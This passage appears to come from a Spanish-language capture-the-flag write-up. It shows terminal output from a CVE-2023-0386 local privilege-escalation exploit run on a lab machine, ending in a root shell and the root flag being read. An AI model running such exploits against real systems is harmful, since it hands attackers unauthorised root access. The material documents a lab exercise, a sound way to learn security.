drwxrwxr-x 6 root root 4096 Jan 15 19:38 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan 1 1970 file
[+] open_callback
/file
[+] read buf callback
offset 0
size 16384
path /file
[+] open_callback
/file
[+] open_callback
/file
[+] ioctl callback
path /file
cmd 0x80086601
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@2million:~/CVE-2023-0386# cat /root/root.txt
b64c3be66236e2981a1191042a8203e7
Siguiendo la documentación del exploit conseguimos la escalada.